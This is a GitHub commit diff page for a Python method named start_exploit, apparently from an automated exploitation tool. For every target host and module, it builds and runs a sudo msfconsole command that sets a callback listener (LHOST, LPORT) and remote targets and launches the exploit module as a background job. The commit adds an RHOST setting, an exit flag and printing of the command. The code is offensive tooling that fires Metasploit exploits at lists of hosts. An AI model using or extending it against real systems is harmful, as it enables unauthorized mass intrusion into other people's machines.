File tree Expand file tree Collapse file tree 1 file changed +5
-4
lines changed Expand file tree Collapse file tree 1 file changed +5
-4
lines changed Original file line number Diff line number Diff line change @@ -42,7 +42,7 @@ def start_exploit(self):
4242 template = (
4343 "sudo {} {} -x 'workspace -a {}; "
4444 "setg LHOST {}; setg LPORT {}; setg VERBOSE "
45- "true; setg THREADS 100; set RHOSTS {}; use {} -j;'"
45+ "true; setg THREADS 100; set RHOSTS {}; set RHOST {}; use {} -j; exit -y '"
4646 )
4747 for host in self .hosts :
4848 for mod in self .mods :
@@ -51,10 +51,11 @@ def start_exploit(self):
5151 mod .strip (), host .strip ()
5252 )
5353 )
54- template = template .format (
54+ cmd = template .format (
5555 "ruby" if self .ruby_exec else "" ,
5656 self .msf_path if self .msf_path is not None else "msfconsole" ,
5757 self .configuration [0 ], self .configuration [1 ], self .configuration [2 ],
58- host .strip (), mod .strip ()
58+ host .strip (), host . strip (), mod .strip ()
5959 )
60- lib .settings .cmdline (template )
60+ print (cmd )
61+ lib .settings .cmdline (cmd )
You can’t perform that action at this time.
0 commit comments